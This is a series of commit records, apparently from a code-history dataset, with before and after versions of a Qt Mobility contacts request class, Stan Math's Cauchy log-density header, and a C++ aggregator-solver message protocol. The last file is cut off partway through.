*\/\nbool QContactAbstractRequest::isFinished() const\n{\n    return (d_ptr->m_state == QContactAbstractRequest::FinishedState);\n}\n\n\/*!\n  Returns true if the request is in the \\c QContactAbstractRequest::CanceledState; otherwise, returns false\n\n  \\sa state()\n *\/\nbool QContactAbstractRequest::isCanceled() const\n{\n    return (d_ptr->m_state == QContactAbstractRequest::CanceledState);\n}\n\n\/*! Returns the overall error of the most recent asynchronous operation *\/\nQContactManager::Error QContactAbstractRequest::error() const\n{\n    return d_ptr->m_error;\n}\n\n\/*!\n  \\internal\n  Returns the list of errors which occurred during the most recent asynchronous operation.  Each individual error in the list corresponds to a result in the result list.\n *\/\nQList<QContactManager::Error> QContactAbstractRequest::errors() const\n{\n    return QList<QContactManager::Error>();\n}\n\n\/*!\n  Returns the type of this asynchronous request\n *\/\nQContactAbstractRequest::RequestType QContactAbstractRequest::type() const\n{\n    return d_ptr->type();\n}\n\n\/*!\n  \\internal\n  Returns the current status of the request.\n *\/\nQContactAbstractRequest::Status QContactAbstractRequest::status() const\n{\n    return static_cast<QContactAbstractRequest::Status>(d_ptr->m_state);\n}\n\n\/*!\n  Returns the current state of the request.\n *\/\nQContactAbstractRequest::State QContactAbstractRequest::state() const\n{\n    return d_ptr->m_state;\n}\n\n\/*! Returns a pointer to the manager of which this request instance requests operations *\/\nQContactManager* QContactAbstractRequest::manager() const\n{\n    return d_ptr->m_manager;\n}\n\n\/*! Sets the manager of which this request instance requests operations to \\a manager *\/\nvoid QContactAbstractRequest::setManager(QContactManager* manager)\n{\n    d_ptr->m_manager = manager;\n}\n\n\/*! Attempts to start the request.  Returns false if the request is not in the \\c QContactAbstractRequest::Inactive, \\c QContactAbstractRequest::Finished or \\c QContactAbstractRequest::Cancelled states,\n    or if the request was unable to be performed by the manager engine; otherwise returns true. *\/\nbool QContactAbstractRequest::start()\n{\n    QContactManagerEngine *engine = QContactManagerData::engine(d_ptr->m_manager);\n    if (engine && (d_ptr->m_state == QContactAbstractRequest::CanceledState\n                   || d_ptr->m_state == QContactAbstractRequest::FinishedState\n                   || d_ptr->m_state == QContactAbstractRequest::InactiveState)) {\n        return engine->startRequest(this);\n    }\n\n    return false; \/\/ unable to start operation; another operation already in progress or no engine.\n}\n\n\/*! Attempts to cancel the request.  Returns false if the request is not in the \\c QContactAbstractRequest::Active state,\n    or if the request is unable to be cancelled by the manager engine; otherwise returns true. *\/\nbool QContactAbstractRequest::cancel()\n{\n    QContactManagerEngine *engine = QContactManagerData::engine(d_ptr->m_manager);\n    if (engine && state() == QContactAbstractRequest::ActiveState) {\n        return engine->cancelRequest(this);\n    }\n\n    return false; \/\/ unable to cancel operation; not in progress or no engine.\n}\n\n\/*! Blocks until the request has been completed by the manager engine, or until \\a msecs milliseconds has elapsed.\n    If \\a msecs is zero, this function will block indefinitely.\n    Returns true if the request was cancelled or completed successfully within the given period, otherwise false.\n    Some backends are unable to support this operation safely, and will return false immediately.\n *\/\nbool QContactAbstractRequest::waitForFinished(int msecs)\n{\n    QContactManagerEngine *engine = QContactManagerData::engine(d_ptr->m_manager);\n    if (engine) {\n        switch (d_ptr->m_state) {\n        case QContactAbstractRequest::ActiveState:\n            return engine->waitForRequestFinished(this, msecs);\n        case QContactAbstractRequest::CanceledState:\n        case QContactAbstractRequest::FinishedState:\n            return true;\n        default:\n            return false;\n        }\n    }\n\n    return false; \/\/ unable to wait for operation; not in progress or no engine.\n}\n\n\/*! Blocks until the manager engine signals that more partial results are available for the request, or until \\a msecs milliseconds has elapsed.\n    If \\a msecs is zero, this function will block indefinitely.\n    Returns true if the request was cancelled or more partial results were made available within the given period, otherwise false. *\/\nbool QContactAbstractRequest::waitForProgress(int msecs)\n{\n    QContactManagerEngine *engine = QContactManagerData::engine(d_ptr->m_manager);\n    if (engine) {\n        switch (d_ptr->m_state) {\n        case QContactAbstractRequest::ActiveState:\n            return engine->waitForRequestProgress(this, msecs);\n        case QContactAbstractRequest::CanceledState:\n        case QContactAbstractRequest::FinishedState:\n            return true;\n        default:\n            return false;\n        }\n    }\n\n    return false; \/\/ unable to wait for operation; not in progress or no engine.\n}\n\n#include \"moc_qcontactabstractrequest.cpp\"\n\nQTM_END_NAMESPACE\n<commit_msg>Mark another deprecated function as internal<commit_after>\/****************************************************************************\n**\n** Copyright (C) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** This file is part of the Qt Mobility Components.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights.  These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**\n**\n**\n**\n**\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#include \"qcontactabstractrequest.h\"\n#include \"qcontactabstractrequest_p.h\"\n#include \"qcontactmanager.h\"\n#include \"qcontactmanager_p.h\"\n#include \"qcontactmanagerengine.h\"\n\n\nQTM_BEGIN_NAMESPACE\n\/*!\n  \\class QContactAbstractRequest\n\n  \\brief The QContactAbstractRequest class provides a mechanism for\n  asynchronous requests to be made of a manager if it supports them.\n\n  \\ingroup contacts-main\n\n  It allows a client to asynchronously request some functionality of a\n  particular QContactManager.\n *\/\n\n\/*!\n  \\fn QContactAbstractRequest::stateChanged(QContactAbstractRequest::State newState)\n  This signal is emitted when the state of the request is changed.  The new state of\n  the request will be contained in \\a newState.\n *\/\n\n\n\/*!\n  \\fn QContactAbstractRequest::resultsAvailable()\n  This signal is emitted when new results are available.  Results can include\n  the operation error which may be accessed via error(), or derived-class-specific\n  results which are accessible through the derived class API.\n\n  \\sa error()\n *\/\n\n\/*!\n  \\enum QContactAbstractRequest::RequestType\n  Enumerates the various possible types of asynchronous requests\n  \\value InvalidRequest An invalid request\n  \\value ContactFetchRequest A request to fetch a list of contacts\n  \\value ContactLocalIdFetchRequest A request to fetch a list of local contact ids\n  \\value ContactRemoveRequest A request to remove a list of contacts\n  \\value ContactSaveRequest A request to save a list of contacts\n  \\value DetailDefinitionFetchRequest A request to fetch a collection of detail definitions\n  \\value DetailDefinitionRemoveRequest A request to remove a list of detail definitions\n  \\value DetailDefinitionSaveRequest A request to save a list of detail definitions\n  \\value RelationshipFetchRequest A request to fetch relationships between contacts\n  \\value RelationshipRemoveRequest A request to remove any relationships which match the request criteria\n  \\value RelationshipSaveRequest A request to save a list of relationships\n *\/\n\n\/*!\n  \\enum QContactAbstractRequest::Status\n  \\internal\n  Enumerates the various states that a request may be in at any given time.  Deprecated - use QContactAbstractRequest::State instead!\n  \\value Inactive Operation not yet started\n  \\value Active Operation started, not yet finished\n  \\value Cancelling Operation started then cancelled, not yet finished\n  \\value Cancelled Operation is finished due to cancellation\n  \\value Finished Operation successfully completed\n *\/\n\n\/*!\n  \\enum QContactAbstractRequest::State\n  Enumerates the various states that a request may be in at any given time\n  \\value InactiveState Operation not yet started\n  \\value ActiveState Operation started, not yet finished\n  \\value CanceledState Operation is finished due to cancellation\n  \\value FinishedState Operation successfully completed\n *\/\n\n\/*!\n  \\fn QContactAbstractRequest::QContactAbstractRequest()\n  Constructs a new, invalid asynchronous request\n *\/\n\n\/*! Constructs a new request from the given request data \\a otherd *\/\nQContactAbstractRequest::QContactAbstractRequest(QContactAbstractRequestPrivate* otherd)\n    : d_ptr(otherd)\n{\n}\n\n\/*! Cleans up the memory used by this request *\/\nQContactAbstractRequest::~QContactAbstractRequest()\n{\n    if (d_ptr) {\n        QContactManagerEngine *engine = QContactManagerData::engine(d_ptr->m_manager);\n        if (engine) {\n            engine->requestDestroyed(this);\n        }\n\n        delete d_ptr;\n    }\n}\n\n\/*!\n  Returns true if the request is in the \\c QContactAbstractRequest::InactiveState state; otherwise, returns false\n\n  \\sa state()\n *\/\nbool QContactAbstractRequest::isInactive() const\n{\n    return (d_ptr->m_state == QContactAbstractRequest::InactiveState);\n}\n\n\/*!\n  Returns true if the request is in the \\c QContactAbstractRequest::ActiveState state; otherwise, returns false\n\n  \\sa state()\n *\/\nbool QContactAbstractRequest::isActive() const\n{\n    return (d_ptr->m_state == QContactAbstractRequest::ActiveState);\n}\n\n\/*!\n  Returns true if the request is in the \\c QContactAbstractRequest::FinishedState; otherwise, returns false\n\n  \\sa state()\n *\/\nbool QContactAbstractRequest::isFinished() const\n{\n    return (d_ptr->m_state == QContactAbstractRequest::FinishedState);\n}\n\n\/*!\n  Returns true if the request is in the \\c QContactAbstractRequest::CanceledState; otherwise, returns false\n\n  \\sa state()\n *\/\nbool QContactAbstractRequest::isCanceled() const\n{\n    return (d_ptr->m_state == QContactAbstractRequest::CanceledState);\n}\n\n\/*! Returns the overall error of the most recent asynchronous operation *\/\nQContactManager::Error QContactAbstractRequest::error() const\n{\n    return d_ptr->m_error;\n}\n\n\/*!\n  \\internal\n  Returns the list of errors which occurred during the most recent asynchronous operation.  Each individual error in the list corresponds to a result in the result list.\n *\/\nQList<QContactManager::Error> QContactAbstractRequest::errors() const\n{\n    return QList<QContactManager::Error>();\n}\n\n\/*!\n  Returns the type of this asynchronous request\n *\/\nQContactAbstractRequest::RequestType QContactAbstractRequest::type() const\n{\n    return d_ptr->type();\n}\n\n\/*!\n  \\internal\n  Returns the current status of the request.\n *\/\nQContactAbstractRequest::Status QContactAbstractRequest::status() const\n{\n    return static_cast<QContactAbstractRequest::Status>(d_ptr->m_state);\n}\n\n\/*!\n  Returns the current state of the request.\n *\/\nQContactAbstractRequest::State QContactAbstractRequest::state() const\n{\n    return d_ptr->m_state;\n}\n\n\/*! Returns a pointer to the manager of which this request instance requests operations *\/\nQContactManager* QContactAbstractRequest::manager() const\n{\n    return d_ptr->m_manager;\n}\n\n\/*! Sets the manager of which this request instance requests operations to \\a manager *\/\nvoid QContactAbstractRequest::setManager(QContactManager* manager)\n{\n    d_ptr->m_manager = manager;\n}\n\n\/*! Attempts to start the request.  Returns false if the request is not in the \\c QContactAbstractRequest::Inactive, \\c QContactAbstractRequest::Finished or \\c QContactAbstractRequest::Cancelled states,\n    or if the request was unable to be performed by the manager engine; otherwise returns true. *\/\nbool QContactAbstractRequest::start()\n{\n    QContactManagerEngine *engine = QContactManagerData::engine(d_ptr->m_manager);\n    if (engine && (d_ptr->m_state == QContactAbstractRequest::CanceledState\n                   || d_ptr->m_state == QContactAbstractRequest::FinishedState\n                   || d_ptr->m_state == QContactAbstractRequest::InactiveState)) {\n        return engine->startRequest(this);\n    }\n\n    return false; \/\/ unable to start operation; another operation already in progress or no engine.\n}\n\n\/*! Attempts to cancel the request.  Returns false if the request is not in the \\c QContactAbstractRequest::Active state,\n    or if the request is unable to be cancelled by the manager engine; otherwise returns true. *\/\nbool QContactAbstractRequest::cancel()\n{\n    QContactManagerEngine *engine = QContactManagerData::engine(d_ptr->m_manager);\n    if (engine && state() == QContactAbstractRequest::ActiveState) {\n        return engine->cancelRequest(this);\n    }\n\n    return false; \/\/ unable to cancel operation; not in progress or no engine.\n}\n\n\/*! Blocks until the request has been completed by the manager engine, or until \\a msecs milliseconds has elapsed.\n    If \\a msecs is zero, this function will block indefinitely.\n    Returns true if the request was cancelled or completed successfully within the given period, otherwise false.\n    Some backends are unable to support this operation safely, and will return false immediately.\n *\/\nbool QContactAbstractRequest::waitForFinished(int msecs)\n{\n    QContactManagerEngine *engine = QContactManagerData::engine(d_ptr->m_manager);\n    if (engine) {\n        switch (d_ptr->m_state) {\n        case QContactAbstractRequest::ActiveState:\n            return engine->waitForRequestFinished(this, msecs);\n        case QContactAbstractRequest::CanceledState:\n        case QContactAbstractRequest::FinishedState:\n            return true;\n        default:\n            return false;\n        }\n    }\n\n    return false; \/\/ unable to wait for operation; not in progress or no engine.\n}\n\n\/*! \\internal\n    Blocks until the manager engine signals that more partial results are available for the request, or until \\a msecs milliseconds has elapsed.\n    If \\a msecs is zero, this function will block indefinitely.\n    Returns true if the request was cancelled or more partial results were made available within the given period, otherwise false. *\/\nbool QContactAbstractRequest::waitForProgress(int msecs)\n{\n    QContactManagerEngine *engine = QContactManagerData::engine(d_ptr->m_manager);\n    if (engine) {\n        switch (d_ptr->m_state) {\n        case QContactAbstractRequest::ActiveState:\n            return engine->waitForRequestProgress(this, msecs);\n        case QContactAbstractRequest::CanceledState:\n        case QContactAbstractRequest::FinishedState:\n            return true;\n        default:\n            return false;\n        }\n    }\n\n    return false; \/\/ unable to wait for operation; not in progress or no engine.\n}\n\n#include \"moc_qcontactabstractrequest.cpp\"\n\nQTM_END_NAMESPACE\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Added short usage description.<commit_after><|endoftext|>"}
{"text":"<commit_before>#ifndef STAN_MATH_PRIM_PROB_CAUCHY_LPDF_HPP\n#define STAN_MATH_PRIM_PROB_CAUCHY_LPDF_HPP\n\n#include <stan\/math\/prim\/meta.hpp>\n#include <stan\/math\/prim\/err.hpp>\n#include <stan\/math\/prim\/fun\/constants.hpp>\n#include <stan\/math\/prim\/fun\/log.hpp>\n#include <stan\/math\/prim\/fun\/log1p.hpp>\n#include <stan\/math\/prim\/fun\/max_size.hpp>\n#include <stan\/math\/prim\/fun\/size.hpp>\n#include <stan\/math\/prim\/fun\/size_zero.hpp>\n#include <stan\/math\/prim\/fun\/value_of.hpp>\n#include <cmath>\n\nnamespace stan {\nnamespace math {\n\n\/** \\ingroup prob_dists\n * The log of the Cauchy density for the specified scalar(s) given\n * the specified location parameter(s) and scale parameter(s). y,\n * mu, or sigma can each either be scalar a vector.  Any vector\n * inputs must be the same length.\n *\n * <p> The result log probability is defined to be the sum of\n * the log probabilities for each observation\/mu\/sigma triple.\n *\n * @tparam T_y type of scalar outcome\n * @tparam T_loc type of location\n * @tparam T_scale type of scale\n * @param y (Sequence of) scalar(s).\n * @param mu (Sequence of) location(s).\n * @param sigma (Sequence of) scale(s).\n * @return The log of the product of densities.\n *\/\ntemplate <bool propto, typename T_y, typename T_loc, typename T_scale>\nreturn_type_t<T_y, T_loc, T_scale> cauchy_lpdf(const T_y& y, const T_loc& mu,\n                                               const T_scale& sigma) {\n  using T_partials_return = partials_return_t<T_y, T_loc, T_scale>;\n  using T_partials_array = Eigen::Array<T_partials_return, Eigen::Dynamic, 1>;\n  using std::log;\n  using T_y_ref = ref_type_if_t<!is_constant<T_y>::value, T_y>;\n  using T_mu_ref = ref_type_if_t<!is_constant<T_loc>::value, T_loc>;\n  using T_sigma_ref = ref_type_if_t<!is_constant<T_scale>::value, T_scale>;\n  static const char* function = \"cauchy_lpdf\";\n  check_consistent_sizes(function, \"Random variable\", y, \"Location parameter\",\n                         mu, \"Scale parameter\", sigma);\n  T_y_ref y_ref = y;\n  T_mu_ref mu_ref = mu;\n  T_sigma_ref sigma_ref = sigma;\n\n  if (size_zero(y, mu, sigma)) {\n    return 0.0;\n  }\n  if (!include_summand<propto, T_y, T_loc, T_scale>::value) {\n    return 0.0;\n  }\n\n  T_partials_return logp(0.0);\n  operands_and_partials<T_y_ref, T_mu_ref, T_sigma_ref> ops_partials(\n      y_ref, mu_ref, sigma_ref);\n\n  const auto& y_col = as_column_vector_or_scalar(y_ref);\n  const auto& mu_col = as_column_vector_or_scalar(mu_ref);\n  const auto& sigma_col = as_column_vector_or_scalar(sigma_ref);\n\n  const auto& y_arr = as_array_or_scalar(y_col);\n  const auto& mu_arr = as_array_or_scalar(mu_col);\n  const auto& sigma_arr = as_array_or_scalar(sigma_col);\n\n  ref_type_t<decltype(value_of(y_arr))> y_val = value_of(y_arr);\n  ref_type_t<decltype(value_of(mu_arr))> mu_val = value_of(mu_arr);\n  ref_type_t<decltype(value_of(sigma_arr))> sigma_val = value_of(sigma_arr);\n  check_not_nan(function, \"Random variable\", y_val);\n  check_finite(function, \"Location parameter\", mu_val);\n  check_positive_finite(function, \"Scale parameter\", sigma_val);\n\n  size_t N = max_size(y, mu, sigma);\n\n  const auto& inv_sigma\n      = to_ref_if<!is_constant_all<T_scale>::value>(inv(sigma_val));\n  const auto& y_minus_mu\n      = to_ref_if<!is_constant_all<T_y, T_loc, T_scale>::value>(y_val - mu_val);\n\n  logp -= sum(log1p(square(y_minus_mu * inv_sigma)));\n  if (include_summand<propto>::value) {\n    logp -= N * LOG_PI;\n  }\n  if (include_summand<propto, T_scale>::value) {\n    logp -= sum(log(sigma_val)) * N \/ size(sigma);\n  }\n\n  if (!is_constant_all<T_y, T_loc, T_scale>::value) {\n    const auto& sigma_squared\n        = to_ref_if<!is_constant_all<T_scale>::value>(square(sigma_val));\n    const auto& y_minus_mu_squared\n        = to_ref_if<!is_constant_all<T_scale>::value>(square(y_minus_mu));\n    if (!is_constant_all<T_y, T_loc>::value) {\n      const auto& mu_deriv\n          = to_ref_if < !is_constant_all<T_y>::value\n            && !is_constant_all<T_loc>::value\n                   > (2 * y_minus_mu \/ (sigma_squared + y_minus_mu_squared));\n      if (!is_constant_all<T_y>::value) {\n        if (is_vector<T_y>::value) {\n          ops_partials.edge1_.partials_\n              = forward_as<T_partials_array>(-mu_deriv);\n        } else {\n          ops_partials.edge1_.partials_[0] = -sum(mu_deriv);\n        }\n      }\n      if (!is_constant_all<T_loc>::value) {\n        if (is_vector<T_loc>::value) {\n          ops_partials.edge2_.partials_\n              = std::move(forward_as<T_partials_array>(mu_deriv));\n        } else {\n          ops_partials.edge2_.partials_[0] = sum(mu_deriv);\n        }\n      }\n    }\n    if (!is_constant_all<T_scale>::value) {\n      if (is_vector<T_scale>::value) {\n        ops_partials.edge3_.partials_ = forward_as<T_partials_array>(\n            (y_minus_mu_squared - sigma_squared) * inv_sigma\n            \/ (sigma_squared + y_minus_mu_squared));\n      } else {\n        ops_partials.edge3_.partials_[0]\n            = sum((y_minus_mu_squared - sigma_squared) * inv_sigma\n                  \/ (sigma_squared + y_minus_mu_squared));\n      }\n    }\n  }\n  return ops_partials.build(logp);\n}\n\ntemplate <typename T_y, typename T_loc, typename T_scale>\ninline return_type_t<T_y, T_loc, T_scale> cauchy_lpdf(const T_y& y,\n                                                      const T_loc& mu,\n                                                      const T_scale& sigma) {\n  return cauchy_lpdf<false>(y, mu, sigma);\n}\n\n}  \/\/ namespace math\n}  \/\/ namespace stan\n#endif\n<commit_msg>added missing include<commit_after>#ifndef STAN_MATH_PRIM_PROB_CAUCHY_LPDF_HPP\n#define STAN_MATH_PRIM_PROB_CAUCHY_LPDF_HPP\n\n#include <stan\/math\/prim\/meta.hpp>\n#include <stan\/math\/prim\/err.hpp>\n#include <stan\/math\/prim\/fun\/constants.hpp>\n#include <stan\/math\/prim\/fun\/log.hpp>\n#include <stan\/math\/prim\/fun\/log1p.hpp>\n#include <stan\/math\/prim\/fun\/max_size.hpp>\n#include <stan\/math\/prim\/fun\/size.hpp>\n#include <stan\/math\/prim\/fun\/size_zero.hpp>\n#include <stan\/math\/prim\/fun\/to_ref.hpp>\n#include <stan\/math\/prim\/fun\/value_of.hpp>\n#include <cmath>\n\nnamespace stan {\nnamespace math {\n\n\/** \\ingroup prob_dists\n * The log of the Cauchy density for the specified scalar(s) given\n * the specified location parameter(s) and scale parameter(s). y,\n * mu, or sigma can each either be scalar a vector.  Any vector\n * inputs must be the same length.\n *\n * <p> The result log probability is defined to be the sum of\n * the log probabilities for each observation\/mu\/sigma triple.\n *\n * @tparam T_y type of scalar outcome\n * @tparam T_loc type of location\n * @tparam T_scale type of scale\n * @param y (Sequence of) scalar(s).\n * @param mu (Sequence of) location(s).\n * @param sigma (Sequence of) scale(s).\n * @return The log of the product of densities.\n *\/\ntemplate <bool propto, typename T_y, typename T_loc, typename T_scale>\nreturn_type_t<T_y, T_loc, T_scale> cauchy_lpdf(const T_y& y, const T_loc& mu,\n                                               const T_scale& sigma) {\n  using T_partials_return = partials_return_t<T_y, T_loc, T_scale>;\n  using T_partials_array = Eigen::Array<T_partials_return, Eigen::Dynamic, 1>;\n  using std::log;\n  using T_y_ref = ref_type_if_t<!is_constant<T_y>::value, T_y>;\n  using T_mu_ref = ref_type_if_t<!is_constant<T_loc>::value, T_loc>;\n  using T_sigma_ref = ref_type_if_t<!is_constant<T_scale>::value, T_scale>;\n  static const char* function = \"cauchy_lpdf\";\n  check_consistent_sizes(function, \"Random variable\", y, \"Location parameter\",\n                         mu, \"Scale parameter\", sigma);\n  T_y_ref y_ref = y;\n  T_mu_ref mu_ref = mu;\n  T_sigma_ref sigma_ref = sigma;\n\n  if (size_zero(y, mu, sigma)) {\n    return 0.0;\n  }\n  if (!include_summand<propto, T_y, T_loc, T_scale>::value) {\n    return 0.0;\n  }\n\n  T_partials_return logp(0.0);\n  operands_and_partials<T_y_ref, T_mu_ref, T_sigma_ref> ops_partials(\n      y_ref, mu_ref, sigma_ref);\n\n  const auto& y_col = as_column_vector_or_scalar(y_ref);\n  const auto& mu_col = as_column_vector_or_scalar(mu_ref);\n  const auto& sigma_col = as_column_vector_or_scalar(sigma_ref);\n\n  const auto& y_arr = as_array_or_scalar(y_col);\n  const auto& mu_arr = as_array_or_scalar(mu_col);\n  const auto& sigma_arr = as_array_or_scalar(sigma_col);\n\n  ref_type_t<decltype(value_of(y_arr))> y_val = value_of(y_arr);\n  ref_type_t<decltype(value_of(mu_arr))> mu_val = value_of(mu_arr);\n  ref_type_t<decltype(value_of(sigma_arr))> sigma_val = value_of(sigma_arr);\n  check_not_nan(function, \"Random variable\", y_val);\n  check_finite(function, \"Location parameter\", mu_val);\n  check_positive_finite(function, \"Scale parameter\", sigma_val);\n\n  size_t N = max_size(y, mu, sigma);\n\n  const auto& inv_sigma\n      = to_ref_if<!is_constant_all<T_scale>::value>(inv(sigma_val));\n  const auto& y_minus_mu\n      = to_ref_if<!is_constant_all<T_y, T_loc, T_scale>::value>(y_val - mu_val);\n\n  logp -= sum(log1p(square(y_minus_mu * inv_sigma)));\n  if (include_summand<propto>::value) {\n    logp -= N * LOG_PI;\n  }\n  if (include_summand<propto, T_scale>::value) {\n    logp -= sum(log(sigma_val)) * N \/ size(sigma);\n  }\n\n  if (!is_constant_all<T_y, T_loc, T_scale>::value) {\n    const auto& sigma_squared\n        = to_ref_if<!is_constant_all<T_scale>::value>(square(sigma_val));\n    const auto& y_minus_mu_squared\n        = to_ref_if<!is_constant_all<T_scale>::value>(square(y_minus_mu));\n    if (!is_constant_all<T_y, T_loc>::value) {\n      const auto& mu_deriv\n          = to_ref_if < !is_constant_all<T_y>::value\n            && !is_constant_all<T_loc>::value\n                   > (2 * y_minus_mu \/ (sigma_squared + y_minus_mu_squared));\n      if (!is_constant_all<T_y>::value) {\n        if (is_vector<T_y>::value) {\n          ops_partials.edge1_.partials_\n              = forward_as<T_partials_array>(-mu_deriv);\n        } else {\n          ops_partials.edge1_.partials_[0] = -sum(mu_deriv);\n        }\n      }\n      if (!is_constant_all<T_loc>::value) {\n        if (is_vector<T_loc>::value) {\n          ops_partials.edge2_.partials_\n              = std::move(forward_as<T_partials_array>(mu_deriv));\n        } else {\n          ops_partials.edge2_.partials_[0] = sum(mu_deriv);\n        }\n      }\n    }\n    if (!is_constant_all<T_scale>::value) {\n      if (is_vector<T_scale>::value) {\n        ops_partials.edge3_.partials_ = forward_as<T_partials_array>(\n            (y_minus_mu_squared - sigma_squared) * inv_sigma\n            \/ (sigma_squared + y_minus_mu_squared));\n      } else {\n        ops_partials.edge3_.partials_[0]\n            = sum((y_minus_mu_squared - sigma_squared) * inv_sigma\n                  \/ (sigma_squared + y_minus_mu_squared));\n      }\n    }\n  }\n  return ops_partials.build(logp);\n}\n\ntemplate <typename T_y, typename T_loc, typename T_scale>\ninline return_type_t<T_y, T_loc, T_scale> cauchy_lpdf(const T_y& y,\n                                                      const T_loc& mu,\n                                                      const T_scale& sigma) {\n  return cauchy_lpdf<false>(y, mu, sigma);\n}\n\n}  \/\/ namespace math\n}  \/\/ namespace stan\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#include \"aggregator_solver_protocol.hpp\"\n#include \"netbuffer.hpp\"\n#include \"sample_data.hpp\"\n\n#include <algorithm>\n#include <string>\n#include <iterator>\n#include <array>\n#include <vector>\n\n#include <iostream>\n\nusing namespace aggregator_solver;\n\nstd::vector<unsigned char> aggregator_solver::makeHandshakeMsg() {\n  std::vector<unsigned char> buff(4);\n  std::string protocol_string = \"GRAIL solver protocol\";\n  buff.insert(buff.end(), protocol_string.begin(), protocol_string.end());\n  \/\/Version number and extension are both currently zero\n  buff.push_back(0);\n  buff.push_back(0);\n  \/\/Insert the length of the protocol string into the buffer\n  pushBackVal<uint32_t>(protocol_string.length(), buff, 0);\n  return buff;\n}\n\nstd::vector<unsigned char>&& aggregator_solver::makeCertMsg();\n\nstd::vector<unsigned char>&& aggregator_solver::ackCertMsg();\n\nstd::vector<unsigned char> aggregator_solver::makeSubscribeReqMsg(Subscription& rules) {\n  \/\/The total length starts out at one for the message type field.\n  \/\/Each rule will add additional length.\n  uint32_t total_length = 1;\n\n  std::vector<unsigned char> buff;\n\n  buff.push_back(0);\n  buff.push_back(0);\n  buff.push_back(0);\n  buff.push_back(0);\n  buff.push_back((unsigned char)subscription_request);\n\n  \/\/Push back the rules\n  {\n    \/\/First push the number of rules onto the buffer\n    uint32_t num_rules = rules.size();\n    total_length += pushBackVal(num_rules, buff);\n\n    \/\/For each rule push back the physical layer, the number of\n    \/\/tx rules and the tx rules, the number of boxes and the boxes,\n    \/\/and the number of FSM\/TR rules and the FSM\/TR rules.\n    for (auto rule = rules.begin(); rule != rules.end(); ++rule) {\n      \/\/Push the physical layer\n      total_length += pushBackVal(rule->physical_layer, buff);\n\n      \/\/Push the transmitter information\n      uint32_t num_txers = rule->txers.size();\n      total_length += pushBackVal(num_txers, buff);\n      \/\/Each transmitter is made of an ID and a MASK\n      for (auto txer = rule->txers.begin(); txer != rule->txers.end(); ++txer) {\n        total_length += pushBackVal(txer->base_id, buff);\n        total_length += pushBackVal(txer->mask, buff);\n      }\n\n      \/\/Finish the rule with the update interval\n      total_length += pushBackVal(rule->update_interval, buff);\n    }\n  }\n\n  \/\/Store the message length in the first four bytes\n  pushBackVal<uint32_t>(total_length, buff, 0);\n\n  return buff;\n}\n\nSubscription aggregator_solver::decodeSubscribeMsg(std::vector<unsigned char>& buff, unsigned int length) {\n  Subscription rules;\n\n  \/\/Only process the message if its type matches one of the subscription ids\n  \/\/and if the message is large enough to be valid.\n  if ( length > 4 ) {\n\n    BuffReader reader(buff);\n    uint32_t entire_length = reader.readPrimitive<uint32_t>();\n    MessageID msg_type = MessageID(reader.readPrimitive<uint8_t>());\n    if (entire_length + 4 == length and\n        (subscription_request == msg_type or\n         subscription_response == msg_type)) {\n\n      uint32_t num_rules = reader.readPrimitive<uint32_t>();\n      for (size_t rule_no = 0; rule_no < num_rules; ++rule_no) {\n        Rule rule;\n        rule.physical_layer = reader.readPrimitive<unsigned char>();\n        \/\/Read in the txer ids and masks\n        uint32_t num_txers = reader.readPrimitive<uint32_t>();\n        for (size_t txer_no = 0; txer_no < num_txers; ++txer_no) {\n          Transmitter t;\n          t.base_id = reader.readPrimitive<uint128_t>();\n          t.mask = reader.readPrimitive<uint128_t>();\n          rule.txers.push_back(t);\n        }\n\n        rule.update_interval = reader.readPrimitive<decltype(rule.update_interval)>();\n\n        rules.push_back(rule);\n\n      }\n    }\n  }\n\n  return rules;\n}\n\nstd::vector<unsigned char> aggregator_solver::makeSampleMsg(SampleData& sample) {\n  \/\/The total length starts out at one for the message type field.\n  \/\/Each rule will add additional length.\n  uint32_t total_length = 1;\n\n  std::vector<unsigned char> buff;\n\n  buff.push_back(0);\n  buff.push_back(0);\n  buff.push_back(0);\n  buff.push_back(0);\n  buff.push_back((unsigned char)server_sample);\n\n  total_length += pushBackVal(sample.physical_layer, buff);\n  total_length += pushBackVal(sample.tx_id, buff);\n  total_length += pushBackVal(sample.rx_id, buff);\n  total_length += pushBackVal(sample.rx_timestamp, buff);\n  total_length += pushBackVal(sample.rss, buff);\n  if (sample.sense_data.size() > 0) {\n    total_length += pushContainer(sample.sense_data, buff);\n  }\n\n  pushBackVal<uint32_t>(total_length, buff, 0);\n  \n  return buff;\n}\n\nSampleData aggregator_solver::decodeSampleMsg(std::vector<unsigned char>& buff, unsigned int length) {\n  SampleData sample;\n  \/\/Assume that the sample is invalid until we manage to get data out of buff\n  sample.valid = false;\n\n  \/\/Only process the message if its type matches the server_sample id\n  \/\/and the length is sane.\n  if ( length > 4 ) {\n\n    \/\/Make a new buffer reader for this message and put the data into the\n    \/\/sample structure.\n    BuffReader reader(buff);\n    uint32_t entire_length = reader.readPrimitive<uint32_t>();\n    MessageID msg_type = MessageID(reader.readPrimitive<uint8_t>());\n    if (entire_length + 4 == length and\n        server_sample == msg_type) {\n      \/\/Since we found data to read into the sample, mark it as valid.\n      sample.valid = true;\n      sample.physical_layer = reader.readPrimitive<decltype(sample.physical_layer)>();\n      sample.tx_id = reader.readPrimitive<decltype(sample.tx_id)>();\n      sample.rx_id = reader.readPrimitive<decltype(sample.rx_id)>();\n      sample.rx_timestamp = reader.readPrimitive<decltype(sample.rx_timestamp)>();\n      sample.rss = reader.readPrimitive<decltype(sample.rss)>();\n      \/\/Get the size of the sense data\n      unsigned int left = length - 